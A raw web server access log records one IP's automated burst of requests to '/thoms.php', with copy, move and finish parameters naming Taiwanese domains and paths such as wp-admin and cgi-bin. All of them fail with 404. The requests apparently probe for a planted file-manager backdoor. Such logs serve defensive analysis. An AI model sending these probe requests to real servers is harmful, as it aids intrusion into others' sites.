45.135.193.11 - - [11/Sep/2026:23:56:58 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bossini.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:58 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:58 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:58 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bossini.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:58 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:58 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:58 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:58 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:59 -0400] "GET /thoms.php?copy=bfl.com.tw&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:59 -0400] "GET /thoms.php?copy=bfl.com.tw&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:59 -0400] "GET /thoms.php?copy=bfl.com.tw&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:59 -0400] "GET /thoms.php?copy=bfl.com.tw&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:59 -0400] "GET /thoms.php?copy=bfl.com.tw&p=betcity.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:59 -0400] "GET /thoms.php?copy=bfl.com.tw&p=betcity.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:59 -0400] "GET /thoms.php?copy=bfl.com.tw&p=betcity.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:59 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:59 -0400] "GET /thoms.php?copy=bfl.com.tw&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:59 -0400] "GET /thoms.php?copy=bfl.com.tw&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:59 -0400] "GET /thoms.php?copy=bfl.com.tw&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:59 -0400] "GET /thoms.php?copy=bfl.com.tw&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:59 -0400] "GET /thoms.php?copy=bfl.com.tw&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:00 -0400] "GET /thoms.php?copy=bfl.com.tw&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:00 -0400] "GET /thoms.php?copy=bfl.com.tw&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:00 -0400] "GET /thoms.php?copy=bfl.com.tw&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:00 -0400] "GET /thoms.php?copy=bfl.com.tw&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:00 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:00 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:00 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&move=1&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&move=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:00 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:00 -0400] "GET /thoms.php?copy=bfl.com.tw&p=beauty-dental.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=beauty-dental.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:00 -0400] "GET /thoms.php?copy=bfl.com.tw&p=beauty-dental.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=beauty-dental.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:00 -0400] "GET /thoms.php?copy=bfl.com.tw&p=beauty-dental.com.tw%2Frelease-endpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=beauty-dental.com.tw%2Frelease-endpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:00 -0400] "GET /thoms.php?copy=bfl.com.tw&p=beauty-dental.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=beauty-dental.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:01 -0400] "GET /thoms.php?copy=bfl.com.tw&p=beauty-dental.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=beauty-dental.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:01 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:01 -0400] "GET /thoms.php?copy=bfl.com.tw&p=beauty-dental.com.tw%2Fsession-migration HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=beauty-dental.com.tw%2Fsession-migration" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:01 -0400] "GET /thoms.php?copy=bfl.com.tw&p=beauty-dental.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=beauty-dental.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:01 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&move=1&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&move=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:01 -0400] "GET /thoms.php?copy=bfl.com.tw&p=beauty-dental.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=beauty-dental.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:01 -0400] "GET /thoms.php?copy=bfl.com.tw&p=besth2o.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=besth2o.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:01 -0400] "GET /thoms.php?copy=bfl.com.tw&p=besth2o.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=besth2o.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:01 -0400] "GET /thoms.php?copy=bfl.com.tw&p=besth2o.com.tw%2Fsegment-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=besth2o.com.tw%2Fsegment-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:01 -0400] "GET /thoms.php?copy=bfl.com.tw&p=besth2o.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=besth2o.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:01 -0400] "GET /thoms.php?copy=bfl.com.tw&p=besth2o.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=besth2o.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:01 -0400] "GET /thoms.php?copy=bfl.com.tw&p=besth2o.com.tw%2Fwrapper-global HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=besth2o.com.tw%2Fwrapper-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:02 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&move=1&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&move=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:02 -0400] "GET /thoms.php?copy=bfl.com.tw&p=besth2o.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=besth2o.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:02 -0400] "GET /thoms.php?copy=bfl.com.tw&p=besth2o.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=besth2o.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:02 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:02 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:02 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:02 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:02 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:02 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:02 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:02 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:02 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:03 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:03 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:03 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:03 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&move=1&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&move=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:03 -0400] "GET /thoms.php?copy=bfl.com.tw&p=wp-content%2Fthemes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=wp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:03 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:03 -0400] "GET /thoms.php?copy=bfl.com.tw&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:03 -0400] "GET /thoms.php?copy=bfl.com.tw&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:03 -0400] "GET /thoms.php?copy=bfl.com.tw&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:03 -0400] "GET /thoms.php?copy=bfl.com.tw&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:03 -0400] "GET /thoms.php?copy=bfl.com.tw&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:03 -0400] "GET /thoms.php?copy=bfl.com.tw&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:04 -0400] "GET /thoms.php?copy=bfl.com.tw&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
